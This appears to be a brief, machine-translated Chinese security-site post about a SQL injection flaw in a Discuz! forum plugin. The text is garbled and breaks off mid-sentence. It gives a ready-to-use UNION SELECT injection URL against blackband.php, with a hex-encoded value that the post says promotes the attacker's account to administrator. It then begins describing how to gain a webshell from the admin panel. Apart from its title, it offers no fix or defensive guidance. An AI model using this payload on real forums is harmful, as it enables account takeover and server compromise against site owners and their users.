Discuz! Underworld career plugin injection vulnerability-vulnerability warning-the black bar safety net

Plugin version: 2.2 2.5 Register a forum ID IE submit the following code blackband. php? mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646d696e69643d31,3,4/ Promoted to administrator discuz7. 0. 0 background to give webshell method If it is discuz6. 0 the...